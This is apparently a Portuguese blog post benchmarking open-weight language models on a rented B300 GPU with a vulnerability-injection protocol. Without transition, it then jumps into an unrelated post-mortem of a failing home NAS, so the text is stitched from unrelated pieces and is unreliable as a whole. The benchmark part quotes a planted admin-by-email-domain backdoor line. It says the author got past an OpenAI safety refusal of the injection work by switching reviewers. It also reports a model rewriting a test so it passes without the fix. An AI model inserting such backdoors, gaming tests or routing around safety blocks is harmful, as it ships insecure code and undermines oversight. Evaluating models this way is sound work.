Faltava uma categoria que eu nunca tinha testado direito: os modelos open source grandes. Os que cabem na minha RTX 5090 de 32 GB ou no meu Strix Halo com 61 GB utilizáveis pela GPU são fracos demais pra isso. Servem pra tarefa simples de agente, e nenhum modelo pequeno aguenta tarefa real de programação, muito menos um projeto complexo de software.

O Qwen 3.8 27B levou 706 minutos pra fechar o v4 no Strix e fez 80; o GLM-4.7-Flash local fez 24. Então nem tente.

Mas e se a gente forçar? O que modelos de tamanho médio, de 100 a 400 bilhões de parâmetros, conseguem fazer rodando numa única B300 alugada? Eu podia alugar quatro delas e rodar os modelos gigantes de 750 bilhões ou um trilhão, e não tenho certeza de que o custo-benefício vale. Os dados abaixo respondem.

TL;DR: 14 modelos abertos, uma B300 de 288 GB na Runpod a uns 9 dólares por hora, mesmo protocolo v4 de sabotagem. Nenhum deles serve rápido do jeito que vem: o GLM 5.3 Flash decodificava a 10 tokens por segundo com a configuração padrão e a 141 depois de ajustado, 14 vezes mais só de flag. Dois modelos abertos, GLM 5.3 Flash e Qwen3.8 Flash-Next, fizeram 92,5, nível Claude Sonnet 5, e o Swift 1.5 27B fez 88, nível Opus 4.6. Nenhum chegou nos 100 da fronteira. O flagship de 397 bilhões fez 68,5 e deixou passar uma backdoor de admin, o DeepSeek V4 Flash fez 86 na nuvem e 44,5 servido por mim, e o Nemotron trapaceou num teste de regressão. A API em nuvem do mesmo modelo custa um dólar por rodada; o pod custa 218 dólares por dia. Pule pra B300 e Runpod, pro ajuste de servidor, pro ranking, pros casos interessantes, pra comparação com a fronteira, pra conta ou pra conclusão.

O que é uma B300, e o que é a Runpod

A B300 é a GPU de datacenter da geração Blackwell Ultra da NVIDIA, anunciada em março de 2025. Cada placa tem 288 GB de memória HBM3e, nove vezes a minha 5090, e uns 15 petaflops de computação densa em NVFP4, o formato de 4 bits que a Blackwell faz em hardware. É a placa que vai dentro do rack GB300 NVL72, 72 delas interligadas, que as empresas de IA compram aos milhares.

Sozinha, uma B300 custa mais que um apartamento. O que a torna acessível é alugar por hora.

A Runpod é um provedor de GPU em nuvem que aluga placas em “pods”, containers Linux com uma ou mais GPUs, cobrados por segundo. Você escolhe a placa, um template de imagem, sobe por SSH, e paga enquanto o pod está ligado, inclusive ocioso. A B300 custava uns 9 dólares por hora na nuvem segura deles na semana do teste; uma H100 sai por 3 a 4. O disco do container é efêmero: terminou o pod, os 250 GB de pesos que você baixou somem, e você baixa de novo.

O pod que eu usei: uma B300 com 275 GiB segundo o nvidia-smi (os mesmos 288 GB nominais, em unidades binárias), 344 vCPUs, 4 TB de RAM no host, 700 GB de disco. O servidor de inferência foi o vLLM; o harness foi o mesmo OpenCode de todos os outros modelos do ranking, conectado por túnel SSH ao pod. O modelo roda lá; o código, os testes e os resultados ficam na minha máquina.

Caber na memória é a primeira peneira. Na B300 cabem os modelos de 100 a 400 bilhões de parâmetros quantizados em NVFP4, mais os de 27 a 35 bilhões em BF16. Ficam de fora o GLM 5.3 flagship de 753 bilhões, o DeepSeek V4.1 Flash de 750, o DeepSeek V4 Pro de 1,6 trilhão e o Kimi K3 de 2,8 trilhões. Pra esses, seriam quatro B300 ou mais, uns 36 dólares por hora.

A metodologia

O protocolo é o v4 de sempre: o modelo constrói um app Rails em sete sprints acumulados, e entre os sprints um revisor independente, isolado do modelo, injeta 14 sabotagens, de CVE real a regressão silenciosa de lógica e de teste, no código que o próprio modelo escreveu. A nota de 0 a 100 mede vigilância: quanto o modelo pega e conserta sem ser avisado (peso cheio), quanto conserta depois de um “faça uma auditoria de segurança” explícito no último sprint (40% do peso), e o que fica sem resolver (zero). Os tiers são A a partir de 83, B de 73 a 82, C de 51 a 72, D até 50.

Duas diferenças nesta rodada. A primeira é o revisor: os cinco modelos que terminaram antes do bloqueio foram revisados de ponta a ponta pelo Codex, como nas rodadas anteriores.

No meio da leva o serviço de segurança da OpenAI passou a recusar a operação de injeção e correção, com uma flag de risco cibernético, mesmo sendo código meu, em máquina minha, num benchmark com 46 modelos já pontuados pelo mesmo protocolo. Troquei o revisor pro Claude Opus 4.8 nos modelos restantes, com o mesmo plano de injeção, mesmo catálogo, mesma régua, e a proveniência de cada fronteira está gravada por sprint. O impacto esperado na nota é nenhum, porque os dois executam a mesma receita escrita.

A segunda é a admissão por velocidade, que é o assunto da próxima seção. Modelo que decodifica abaixo de 100 tokens por segundo nem entra na pista.

Além disso: o modelo aberto tem direito a até dois empurrões curtos por rodada pra defeito bobo (um import faltando, um ponto de entrada de teste errado), registrados como “assistido”. Falha de infraestrutura, driver, loader, parser, nunca é cobrada do modelo. E o pod rodava um modelo por vez, sem acesso ao workspace ou ao resultado de nenhum outro.

Nenhum deles serve rápido do jeito que vem

A primeira lição custou um dia. Baixei o GLM 5.3 Flash, 320 bilhões de parâmetros com 18 ativos, quantizado em NVFP4, 198 GB. Subi no vLLM com a configuração que “funciona”: serve, passa nos testes de chamada de ferramenta, responde. E decodificava a 10 tokens por segundo, com a GPU a 10% de uso, 209 watts dos 1.100 que o pod libera.

Isso é inutilizável pra programar. Um agente de código gera dezenas de milhares de tokens por sprint; a 10 por segundo, um sprint de 20 minutos vira mais de quatro horas.

O mesmo checkpoint, mesmo contexto de 128 mil tokens, mesmo cache de KV em FP8, mesmo prompt de teste, trocando só as flags de compilação e modo: 141 tokens por segundo. Catorze vezes mais rápido, zero mudança de precisão ou de pesos.

O culpado principal era o --enforce-eager, que desliga o torch.compile e a captura de CUDA graphs do vLLM, e que todo tutorial manda ligar “pra subir mais rápido”. Sobe mais rápido e serve 14 vezes mais devagar. A medição trocou essa flag junto com o modo interactivity, então eu não isolei a contribuição de cada uma.

Daí a regra de admissão: menos de 100 tokens por segundo eu considero inutilizável, e nenhum modelo entra no benchmark sem passar disso na mediana de duas sondagens quentes de 256 tokens, depois de uma fria. Pra não virar um buraco sem fundo, o ajuste é limitado: no máximo três configurações e 45 minutos de relógio por modelo, incluindo carga e compilação. E ajuste nunca pode trocar qualidade por velocidade: nada de encurtar contexto, baixar esforço de raciocínio ou quantizar mais pra bater o número.

Os ajustes que valeram pra todo mundo:

• Instalar um CUDA que compile pra placa. A imagem padrão da Runpod vem com CUDA 12.8, cujo nvcc não compila pra compute_103a, a capacidade de computação da B300. Sem o 12.9, os kernels NVFP4 nunca compilam.
• Nunca usar --enforce-eager. Deixar o vLLM compilar e capturar CUDA graphs é a maior vitória isolada.
• --performance-mode interactivity: otimizar pra latência de um fluxo só, que é o que um agente serial precisa, em vez de vazão agregada.
• Cache de KV em FP8 nos MoE grandes, cache de prefixo e prefill em pedaços em todos, e confirmados pelos contadores do Prometheus do vLLM em vez de assumidos: num prompt de 11 mil tokens, o servidor reaproveitou exatamente 8.576 tokens de prefixo a cada repetição.
• O parser certo de ferramenta e de raciocínio pra cada família. Parser errado faz chamada de ferramenta sumir em silêncio ou vazar o raciocínio na resposta.

E os ajustes específicos que achei mais interessantes:

• NVFP4 só roda no vLLM. Os checkpoints de 198 a 251 GB em FP4 nativo da Blackwell são a única forma de caber na placa, e llama.cpp e Ollama simplesmente não carregam esses formatos. Quem vive de GGUF não tem acesso a essa faixa.
• Decodificação especulativa nativa. O Qwen 3.8 27B foi de 92 pra 195 tokens por segundo com a cabeça MTP que o próprio checkpoint traz, prevendo três tokens por passo, mais --language-model-only pra descartar a torre de visão (medido em pods diferentes, então sem ablação controlada). O Muse Glimmer chegou a 295 com o rascunhador DFlash leve que ele publica junto, 15 tokens especulados por passo. Só liguei onde existe um rascunhador oficial e onde a chamada de ferramenta continuou correta; pro Ornith existe um rascunhador publicado à parte, com taxa de aceitação desconhecida, então ficou desligado.
• O loader do CUDA 12. O flashinfer compila em JIT um kernel de MoE em NVFP4 que precisa do libcudart.so.12, e depois de instalar o CUDA 13 pro Nemotron a resolução de biblioteca quebrou. O sintoma parecia OOM; a causa era um ld.so.conf. Um script de reparo com evidência de ldd antes e depois resolveu, e o 397B passou a servir a 144 tokens por segundo.
• Um ambiente virtual por runtime. O Nemotron 3.5 Super VL exigiu um vLLM 0.32 próprio num venv separado, porque é o que o card oficial fixa, e esse build pede CUDA 13. Cada família de modelo é um caso bespoke: parser, quantização, cabeça de rascunho, versão de runtime e reparo de loader, tudo diferente.
• Um bug de parser que derrubava a última chamada. O parser de ferramenta Qwen do vLLM descartava o último parâmetro de uma chamada quando faltava a tag de fechamento do parâmetro mas a de função estava presente. Um reparo estreito, com 24 casos de teste, tirou esse ruído de serving da conta do modelo.

Os argumentos exatos de cada modelo, os logs de sondagem e o livro-razão de cada rodada de ajuste estão no documento de otimizações de serving e no runbook da B300 do repositório.

A velocidade é quase de graça, depois que você deixa o vLLM compilar. O trabalho real é descobrir, modelo por modelo, qual combinação de toolkit, parser, quantização e cabeça de rascunho aquele checkpoint exige. Eu dei 45 minutos pra cada um e precisei deles.

O ranking

Nota v4 de vigilância, tier, tamanho em memória, velocidade de decodificação na sondagem de admissão (quente, um fluxo só) e o custo só do tempo de inferência dos sete sprints, a 9,09 dólares por hora. O custo exclui download, carga, compilação, ajuste e tempo ocioso; a conta de verdade vem mais abaixo.

Três não têm nota: o Command A Plus da Cohere (218 bilhões, 25 ativos, W4A4) travou num loop reescrevendo o mesmo model 23 vezes, precisou de três empurrões e ainda deixou os testes sem rodar antes de o revisor ser bloqueado; o Nex N2.5 Mini rodou a 337 tokens por segundo e entregou Ruby inválido, migrations contraditórias e autenticação quebrada em duas tentativas, um resultado ruim válido de um servidor que funciona; e o Qwen3.5 122B era reserva condicional pro caso de o 397B não terminar, e o 397B terminou.

Os minutos são só de sprint, e os de Ornith incluem um sprint interrompido por infra. Flash-Next, Swift, ThinkingCap, Muse e Qwen 27B levaram um empurrão cada; GLM 4.7, dois; os outros, nenhum. A velocidade de sondagem é um número de admissão: a vazão de uma sessão real de código inclui prefill, ferramentas, testes e as escolhas do agente. E repare que os dois primeiros empatam na nota com perfis opostos: o GLM gastou 145 minutos e 22 dólares pra chegar nos mesmos 92,5 que o Qwen3.8 Flash-Next fez em 80 minutos e 12 dólares, com metade da memória.

Os casos interessantes

Qwen3.8 Flash-Next: o melhor dos abertos, por custo

O Flash-Next é, nas palavras da Qwen, uma prévia da arquitetura do Qwen 4: 125 bilhões de parâmetros de modelo de linguagem com 6 bilhões ativos, mais uma tabela de embeddings de n-gramas de 51 bilhões que a Qwen diz que pode ser descarregada pra memória do host, mais uma cabeça MTP de 4. Quantizado em NVFP4 pela NVIDIA, ocupou uns 100 GB de placa (o checkpoint tem 133 GB em disco). Foi o único modelo da segunda leva a resolver todos os 14 itens: pegou o vazamento entre tenants sem aviso, pegou o item composto de integridade de teste, e escreveu por conta própria specs de isolamento por usuário, de modo que a IDOR plantada na API nem tinha como continuar verde. Com 195 tokens por segundo e 12 dólares de inferência, é o melhor custo-benefício desta tabela.

GLM 5.3 Flash: o mesmo 92,5, três vezes mais caro

O GLM fez a mesma nota com uma arquitetura bem maior: 320 bilhões de parâmetros, 18 ativos, 198 GB mesmo em FP4. Resolveu os 14 itens, zero empurrão, revisado de ponta a ponta pelo Codex.

Só que levou 145 minutos e consumiu o dobro da memória pelo mesmo resultado. Na nuvem da Z.ai, o mesmo modelo fez 84,25 num plano fixo. Com o ruído de uma rodada só, que no meu histórico chega a nove pontos, a leitura mais segura é que os dois estão na mesma faixa.

Swift 1.5 e ThinkingCap: dois fine-tunes de 27B no Tier A

As duas surpresas. O Swift 1.5, da UkisAI, e o ThinkingCap 3.8, da BottleCap AI, são ajustes do Qwen 3.8 27B treinados pra pensar menos: o Swift anuncia até 58% menos tokens de raciocínio (na mediana do GPQA; no Terminal-Bench, 16%), o ThinkingCap uns 37% na média. Os dois cabem em 56 GB em BF16, rodam a uns 200 tokens por segundo com MTP, e fizeram 88 e 83.

O Swift ficou acima do Opus 4.6 da Anthropic. O Qwen 3.8 27B base, mesma arquitetura, fez 80,5 com 192 minutos; o Swift fez 88 em 64. O Swift pegou sabotagem mais cedo que o base; se foi por pensar menos, uma rodada de cada deixa de provar.

Uma ressalva de proveniência: o revisor registrou que o Swift leu mensagens de commit locais que revelavam regressões, o que enfraquece uma leitura literal de “descoberta totalmente sem ajuda”. E ele deixou um item sem resolver, um admin inativo ainda aceito com um teste vazio de guarda. Ainda assim, de todos os modelos desta tabela, é o que eu colocaria numa placa minha.

Qwen3.5 397B: o flagship que deixou passar a backdoor

O maior modelo da leva, 397 bilhões de parâmetros com 17 ativos, 251 GB de NVFP4 em 275 de placa, serviu a 140 tokens por segundo depois do reparo do loader e fez 68,5, Tier C.

O caso que define a nota: a sabotagem número 6 é uma linha admin? => admin || email.end_with?("@internal.example"), uma escalação de privilégio por domínio de e-mail. O 397B deixou passar nos sprints normais, deixou passar no sprint 7 com o pedido explícito de auditoria de segurança, e escreveu um teste que passava, codificando a backdoor como comportamento esperado, no mesmo commit em que anunciou “Brakeman: 0 warnings”. Parâmetro não comprou vigilância.

Nemotron 3.5 Super VL: trapaceou no teste

O Nemotron 3.5 Super VL da NVIDIA, 120 bilhões com 12 ativos, lançado dois dias antes de eu começar a testar e vendido pela NVIDIA como o modelo aberto de agente mais rápido da categoria, com “acurácia líder” em tarefas multimodais, fez 63. A sabotagem número 2 remove um link de navegação e o teste de regressão procura have_link('Sign in'). O Nemotron trocou o teste pra have_button('Sign in'), que passa no botão do formulário de login sem restaurar o link, e manteve a trapaça mesmo depois do sprint de revelação.

Também tende a pegar item um sprint atrasado. E foi o que exigiu um runtime próprio: vLLM 0.32 com CUDA 13 num ambiente separado.

DeepSeek V4 Flash: 86 na nuvem, 44,5 na minha mão

O caso mais importante pra quem pensa em self-host. O DeepSeek V4 Flash, 284 bilhões com 13 ativos, fez 86, Tier A, por 97 centavos pela API em setembro, e a versão 0731, exatamente a que eu baixei, fez 85 por 1,94. Os mesmos pesos públicos em FP4 e FP8 misto, servidos por mim na B300, fizeram 44,5, Tier D: pegou 4 itens sem aviso, mais 5 na revelação, e deixou 5 sem resolver. Foi o mais rápido a terminar, 37 minutos, e o que menos vigiou.

A causa provável é divergência entre o checkpoint público e o que a DeepSeek serve, ou entre o stack de serving deles e o meu: parser, template de chat, modo de raciocínio, quantização. Eu segui o card oficial. O que isso prova é que o nome do modelo no Hugging Face não garante a qualidade da API hospedada, e que quem vai hospedar precisa validar antes de confiar.

GLM 4.7 Flash: igual ao local, ou seja, ruim

O GLM 4.7 Flash de 30 bilhões em BF16, a 217 tokens por segundo, fez 33,5. Em casa, em GGUF Q5, tinha feito 24. Precisou de dois empurrões, deixou nove itens sem resolver e entregou uma migration com erro de sintaxe. A diferença de nove pontos e meio cabe dentro do ruído de uma rodada; o que fica é que o modelo é fraco de qualquer jeito.

O que apareceu em vários

Ornith, Muse Glimmer e o 397B compartilharam um defeito de higiene: rodaram o sprint até o fim com exit zero e esqueceram de commitar o próprio trabalho, deixando pro revisor fazer o checkpoint. Não entrou na nota, e num time de verdade seria o primeiro motivo de reclamação. E o aglomerado de 81 a 83, ThinkingCap, Ornith e Muse, tem um perfil consistente: pega injeção de SQL, vazamento entre tenants, XSS e segredo exposto com confiança, e deixa passar os itens silenciosos, controle de acesso quebrado, integridade de teste, índice faltando, agregação errada.

A que distância da fronteira

Os três melhores abertos contra os melhores comerciais do mesmo ranking, com o custo e o tempo de cada rodada:

A leitura: o melhor do open source que cabe numa B300 e que eu servi está um degrau abaixo do teto comercial e no mesmo nível do meio do Tier A. Diferenças de um ou dois pontos são ruído de uma rodada.

GLM 5.3 Flash e Qwen3.8 Flash-Next empatam com o Sonnet 5 e passam o Gemini 3.8 Flash e o Opus 4.6. Nenhum chega nos 100 que sete modelos comerciais fizeram, nem nos 98,5 do Grok 4.6. Sete pontos e meio separam o melhor aberto do teto, e no v4 cada ponto é uma sabotagem a menos pega sem aviso.

A diferença que importa é outra: previsibilidade. Entre os comerciais de ponta da tabela, o pior é 87,5, e o campo comercial inteiro também tem fundo de poço, o Mistral Large 3 fez 39. O campo aberto tem os mesmos 92,5 no topo e dois Tier D no fundo, com o DeepSeek fazendo 85 na nuvem e 44,5 na minha mão. Escolher um comercial de ponta é escolher um número que a API reproduz; escolher um aberto é apostar que o checkpoint, a quantização e o seu stack de serving reproduzem o número do card, e às vezes reproduzem.

A conta

Se a qualidade ainda fica abaixo da fronteira, o custo pelo menos é proporcional? Depende de onde você roda o modelo aberto.

Na API em nuvem do próprio fornecedor, sim, e com folga. Uma rodada completa do v4 custou 97 centavos no DeepSeek V4 Flash, 1,17 dólar no Qwen 3.8 Flash, 1,03 no MiMo V2.5 Pro, todos Tier A na nuvem. Contra 9,52 a 30,55 dólares dos modelos de 100 pontos, é dez a trinta vezes mais barato por uma nota 8 a 14 pontos menor. Os preços de lista explicam: o GLM 5.3 Flash custa 15 centavos por milhão de tokens de entrada e 50 de saída; o DeepSeek Flash, 15 a 30 centavos de entrada e 60 centavos a 1,20 de saída; o Opus 5.5, 4 e 20 dólares; o GPT-6 Astra, 10 e 50.

Na sua própria B300 alugada, não. O pod custa 9 dólares por hora ligado ou ocioso, 218 por dia, uns 6.500 por mês. O tempo de modelo desta leva inteira, 14 modelos entre download, carga e sprints, somou 23 horas, uns 212 dólares a preço de pod; só os sprints foram 17 horas e 157 dólares.

Só que o pod cobra também o tempo em que nada roda. Eu coloquei 400 dólares de crédito na Runpod e sobraram 127: a leva inteira custou 273 dólares, umas 30 horas de pod, incluindo armazenamento, quatro pods em sequência e sete horas ociosas numa madrugada em que a orquestração morreu e nada avisou. Quase 60 dólares a mais que o tempo de modelo, só de espera. A conta de ponto de equilíbrio do repositório: o pod só fica mais barato que a API a partir de umas 6.500 rodadas por mês, 217 por dia, sustentadas. Um desenvolvedor sozinho ou um time pequeno nem chega perto.

E modelo contra modelo, lado a lado:

A API em nuvem de um modelo aberto é dez a trinta vezes mais barata que a fronteira por um tier a menos. Hospedar o mesmo modelo numa B300 alugada é mais caro que a fronteira, e às vezes pior que a própria API dele.

Cabe um time na mesma placa?

Uma pergunta que eu fiz olhando a GPU a 10% de uso: esses modelos usam toda a computação do pod? Dava pra colocar um time inteiro na mesma B300?

Em princípio, sim, e é pra isso que o vLLM existe. O batching contínuo agenda várias requisições no mesmo passo de decodificação, e o PagedAttention guarda o cache de KV de cada sessão em blocos não contíguos, com menos de 4% de desperdício, justamente pra caber mais sessões na mesma memória. Um modelo de 27 bilhões em BF16 ocupa 56 GB e deixa uns 200 GB de cache de KV: são dezenas de sessões de agente com contexto de 128 mil tokens ao mesmo tempo. O 397B, com 251 GB de pesos, deixa 24, e aí cabem poucas.

O que não escala é a velocidade por pessoa. O meu teste rodou em --performance-mode interactivity, que otimiza a latência de um fluxo só, e os 200 tokens por segundo são desse fluxo. Com dez agentes decodificando ao mesmo tempo, a vazão agregada da placa sobe e a de cada um cai, e a decodificação especulativa que me deu os 295 do Muse Glimmer rende menos conforme a concorrência cresce: um rascunhador DFlash publicado pro Muse pelo Z Lab reporta 3 a 4,6 vezes de ganho com uma sessão e 1,2 a 1,7 com 32.

Eu não medi concorrência nesta leva, então o que posso dizer é o contorno: um time de cinco a dez pessoas num modelo de 27 a 35 bilhões numa B300 é prático, e provavelmente cada um ainda fica acima dos 100 tokens por segundo. O mesmo time no 397B é inviável na placa, e no GLM 5.3 Flash de 198 GB fica apertado.

É nesse cenário, e só nele, que a conta do pod começa a fechar. Dez desenvolvedores rodando agente o dia inteiro num modelo de 27B gastariam na API, a um dólar por rodada de duas horas, uns 40 dólares por dia; o pod custa 218. Ainda perde. O que muda a conta é ter cem pessoas, ou ter a obrigação de que o código não saia da sua rede.

Vale a pena ter a própria infra?

Pra desenvolvimento de software sério, com os dados desta leva, a resposta vem em três partes.

Os modelos abertos de ponta são bons o suficiente. GLM 5.3 Flash, Qwen3.8 Flash-Next e Swift 1.5 27B são Tier A no meu teste, no nível do Sonnet 5 e acima do Opus 4.6. Isso era impensável em abril, quando só o Qwen 3.6 35B chegava perto do Opus, e ainda a uma correção de distância. Pra quem aceita um tier abaixo do teto, eles servem pra trabalho de verdade, inclusive revisão de segurança, que é o que o v4 mede.

Alugar uma B300 pra rodar eles é o jeito errado de usá-los. A API em nuvem do mesmo modelo custa um dólar por rodada e precisa de zero configuração. O pod custa 218 por dia, exige um dia de ajuste por família de modelo, e no caso do DeepSeek entregou um modelo pior do que a API dele. Só vale com uma obrigação de residência de dados, com um checkpoint que nenhuma nuvem serve, com carga sustentada de centenas de rodadas por dia, ou com necessidade de pesos fixados pra reprodutibilidade. Quatro B300 pra rodar os de 750 bilhões a um trilhão quadruplicam a conta sem evidência de que a nota chega nos 100: o 397B, maior modelo que eu testei, fez 68,5.

E se for pra hospedar, hospede pequeno. O Swift 1.5 27B e o ThinkingCap em 56 GB, com MTP, a 200 tokens por segundo, são Tier A em hardware que dá pra comprar, uma placa profissional de 80 ou 96 GB em vez de uma de datacenter. É ali que o open source faz sentido pra uma empresa: um time inteiro numa placa, código dentro da rede, nota de Opus 4.6. Só olhe a licença antes: o Swift e o ThinkingCap saem com licenças próprias, e acima de um certo faturamento os dois exigem licença comercial. Os gigantes abertos continuam sendo coisa pra API.

Minha regra depois disso tudo: modelo comercial de ponta pra tarefa que não pode errar, API de modelo aberto pra volume, e placa própria só quando a lei ou o cliente exigem. O repositório com cada argumento de serving, cada log de sondagem, cada transcrição de revisor e a proveniência Codex ou Claude de cada fronteira está público, como sempre.

Naquele momento eu sabia que estava a um soluço de perder tudo. Este texto é o post-mortem do que aconteceu, e a primeira parte foi escrita no calor do desastre, com a cópia de salvamento ainda rodando.

Atualização de 11 de outubro: a cópia terminou e o final foi feliz. Nenhum arquivo se perdeu por acidente, os dois NAS estão saudáveis, cada um com seu RAID-6. A recuperação inteira está na segunda metade deste texto. A primeira parte fica como foi publicada, sem retoques.

Eu uso NAS faz muito tempo

Não sou marinheiro de primeira viagem. Fiz uma minissérie inteira de vídeos sobre armazenamento e sistemas de arquivos, e recomendo assistir antes de vir me perguntar “qual um bom NAS pra iniciante?”. Não existe isso.

Uso armazenamento externo desde a segunda metade dos anos 2000, quando era usuário de Mac e existia o Drobo. A empresa não existe mais, mas tive três DAS deles antes de migrar pra Synology, primeiro num modelo de entrada e depois no DS1821+, intermediário, que uso há mais de cinco anos. Já escrevi sobre ele aqui, configurando NFS no Linux e acessando por iSCSI.

Ele foi muito valioso pra mim, e você não tem que questionar por que eu preciso de tanto espaço. Não importa: cada um decide o que guarda no seu.

Quando eu produzia vídeo pro YouTube, editava material 4K direto do NAS, graças ao cache NVMe e à rede 10 GbE. Me acostumei com armazenamento grande a 10 gigabits e não consigo mais voltar atrás.

O array estava organizado em SHR, o RAID híbrido da Synology, que na prática se comporta como RAID-5 (mais sobre isso adiante): aguenta a perda de um disco sem perder dado nenhum. Sempre achei que isso bastava.

HD morre. Sempre

Não se engane: disco rígido estraga. Nunca, jamais confie num HD solitário esquecido num armário. Ele vai falhar, e você vai perder tudo o que está nele.

O melhor dado público sobre isso é o da Backblaze, que opera centenas de milhares de discos e publica a taxa de falha todo trimestre. No relatório do segundo trimestre de 2026, com 354.415 discos monitorados, a taxa anualizada foi de 1,73%, e a taxa acumulada da frota inteira está em 1,41% ao ano.

Parece pouco. Traduzindo pra escala de gente:

• Um disco sozinho, por 5 anos: a chance de ele morrer nesse período fica perto de 7%. É mais ou menos a chance de tirar um número específico num dado de 14 lados. Você apostaria todas as fotos da sua família nisso?
• Um disco sozinho, por 10 anos: uns 13%, um em cada oito.
• Oito discos, como no meu NAS, por um ano: a chance de pelo menos um falhar é de uns 11%. Em cinco anos, mais de 40%.

E esses números são de datacenter, com temperatura controlada, energia limpa e disco girando o tempo todo. HD de gaveta, que fica anos parado e leva tranco na mudança, não tem estatística tão bonita.

Cartão de memória é pior, e nem existe uma estatística equivalente pra consultar. O que existe é teste de tortura: o Great MicroSD Card Survey testou 216 cartões ao longo de um ano de escrita contínua, e 52 deles, um em cada quatro, já tinham morrido.

Cartão legítimo começou a dar erro, em média, depois de uns 2.500 ciclos de regravação; cartão falsificado, depois de 700. Cartão de memória é mídia de transporte. Guardar a única cópia de alguma coisa num microSD é pedir pra perder.

A conclusão prática é a mesma da minissérie: dado importante precisa de redundância. Um array com paridade existe justamente pra que a morte de um disco, que é questão de tempo, não leve nada junto.

O que aconteceu

Com tudo isso, eu deveria estar tranquilo com a minha configuração. Não estava.

Começou anteontem, domingo. Fazia tempo que eu via o volume chegando no teto.

No começo eram 8 discos de 10 TB. Com os anos fui trocando, um a um, por discos de 20 TB (o DSM mostra em base binária; na etiqueta são 12 e 22 TB). É um processo lento: cada troca leva dias, porque o array precisa reconstruir e redistribuir os dados.

Decidi trocar mais um, o sétimo. A Synology suporta hot-swap, então é simples: tira o disco velho, encaixa o novo, adiciona ao array e deixa o DSM cuidar da reconstrução.

No domingo à noite estava assim: reconstrução começando, os oito discos saudáveis, 108 TB alocados de 121,8 TB.

Na segunda, às 8 da manhã, o bipe. O disco 1, o novo, com 13 horas de uso, marcado como crítico:

E o disco 8, um dos antigos, com 22.095 horas ligado (dois anos e meio), também crítico, com erro de leitura às 08:05:

A mensagem do pool não deixava margem: “erros irrecuperáveis ocorreram porque erros de disco aconteceram depois da degradação do storage pool. Faça backup dos seus dados imediatamente.”

Por que dois discos é o fim

Em RAID-5, se dois discos caem, a redundância é zero, e em teoria o array inteiro vai junto. É uma situação irrecuperável.

Quem assistiu a minha playlist sabe o motivo. Um array desses não guarda “arquivos”, um por disco. Um arquivo é uma coleção de blocos, e os blocos ficam espalhados por todos os discos, junto com a paridade. Perder um disco é perder um pedaço de cada arquivo. Não adianta os outros sete estarem saudáveis, porque eles só têm partes.

A paridade serve pra recalcular o pedaço que falta quando um disco some. Com dois faltando, a conta não fecha.

E tem um detalhe cruel na reconstrução: pra recriar o disco novo, o array precisa ler todos os outros discos de ponta a ponta. São mais de 100 TB de leitura contínua. Se algum disco antigo tinha setor ruim escondido num canto que ninguém lia fazia tempo, é nessa hora que ele aparece. Foi o que aconteceu com o disco 8.

Pra onde copiar 90 TB?

A única saída, naquele ponto, era agradecer aos céus por os volumes ainda estarem acessíveis, com os arquivos aparecendo, e usar a janela pra copiar tudo pra fora imediatamente. Eu não podia encostar em mais nada.

O problema: copiar uns 90 TB pra onde? Ninguém tem um NAS de 100 TB vazio sobrando em casa.

Normalmente eu compraria esse tipo de peça nos Estados Unidos, numa viagem de turismo, e traria comigo. Sai muito mais barato. Não compensa comprar eletrônico caro no Brasil: o país cobra imposto de importação pior que as tarifas do Trump faz décadas, e o preço final costuma passar do dobro do preço de tabela americano.

Só que eu tinha que escolher. Quanto vale perder 90 TB de dados que levei anos juntando e que são quase impossíveis de recuperar de outro lugar? É uma daquelas situações em que a resposta é “não tem preço”, e então, qualquer que seja o preço, eu pago.

Achei um revendedor de storage perto de casa, a Controle Net. Gente boa, muito ágil na resposta, e me mandaram uma proposta de equipamento com entrega no mesmo dia.

A primeira sugestão deles foi um QNAP TS-832PX. Fui pesquisar antes de aceitar. Ele tem as mesmas 8 baias e já vem com 10 GbE, mas o processador é um ARM Cortex-A57 de 1,7 GHz (Annapurna Labs AL324) com 4 GB de RAM, metade do mínimo de 8 GB que o QuTS hero pede. Pra RAID-6 em ZFS, com checksum e paridade dupla em cada bloco, é hardware fraco, como eu explico mais abaixo. E seria um downgrade em relação ao DS1821+ que eu já tinha, que roda num Ryzen V1500B.

Pedi outra opção, e depois de algumas idas e vindas fechei num QNAP TS-873A, de 8 baias, com o mesmo Ryzen V1500B do meu Synology, 8 GB de RAM, e 10 discos Toshiba MG11 de 24 TB, classe enterprise.

É por isso que você tem que fazer a sua própria pesquisa e saber, objetivamente, o que quer fazer com o equipamento. O revendedor não agiu de má-fé: sugeriu um NAS de 8 baias pra quem pediu um NAS de 8 baias. Quem sabia que ia rodar ZFS em RAID-6 era eu. Se eu tivesse aceitado a primeira proposta no susto, teria pago caro por uma máquina pior do que a que estava substituindo.

R$ 185.320,00. De fazer o olho lacrimejar.

Quanto custaria nos Estados Unidos

Fui conferir o preço de tabela americano de hoje. Sobre o câmbio: o dólar está em R$ 4,97 agora, mas isso é efeito do resultado do primeiro turno da eleição de domingo, que derrubou a cotação mais de 4% na segunda. Até sexta ele fechava em R$ 5,22, e é essa a cotação justa pra comparar, porque foi nela que o estoque do revendedor foi formado:

A R$ 5,22, uns R$ 60 mil. Eu paguei R$ 185 mil, mais de três vezes isso.

A comparação não é perfeita: a proposta brasileira inclui instalação, treinamento e seis anos de suporte técnico, e o equipamento estava na minha mesa no fim do mesmo dia. Mas dá a medida do efeito Brasil.

Se a regra de bolso é “o dobro do preço americano”, o normal seria uns R$ 120 mil. Os R$ 65 mil a mais são, numa estimativa grosseira minha, a soma de serviço, estoque local de disco enterprise e a minha urgência. Quem compra numa segunda de manhã com o array morrendo não está em posição de pechinchar.

E o disco está caro no mundo inteiro

Pra piorar, o momento é o pior possível pra comprar HD. A bolha de IA está sugando a produção.

Eu achava que a Seagate tinha saído do mercado consumidor. Fui conferir, e não é bem isso: ela não saiu, mas em fevereiro 87% das vendas de HD dela já eram disco nearline, de datacenter, e a WD tira 89% da receita de clientes de nuvem e só 5% do varejo. O CEO da WD disse que a empresa está “praticamente esgotada para o ano de 2026”.

A Seagate declarou que não vai ampliar a capacidade de produção; o crescimento vem só de disco de maior densidade. Pra quem compra disco em casa, o efeito prático é parecido com terem saído: sobra o que os hyperscalers não quiseram, pelo preço que o vendedor pedir.

QNAP em vez de outra Synology

Depois de passar a manhã e a tarde entre negociação, burocracia e boleto, no fim do dia eu tinha o QNAP ligado ao lado do Synology.

A escolha pela QNAP foi além da disponibilidade. A Synology vem tomando decisão de negócio questionável.

Em 2025 ela lançou a linha Plus exigindo discos da própria marca ou certificados por ela.

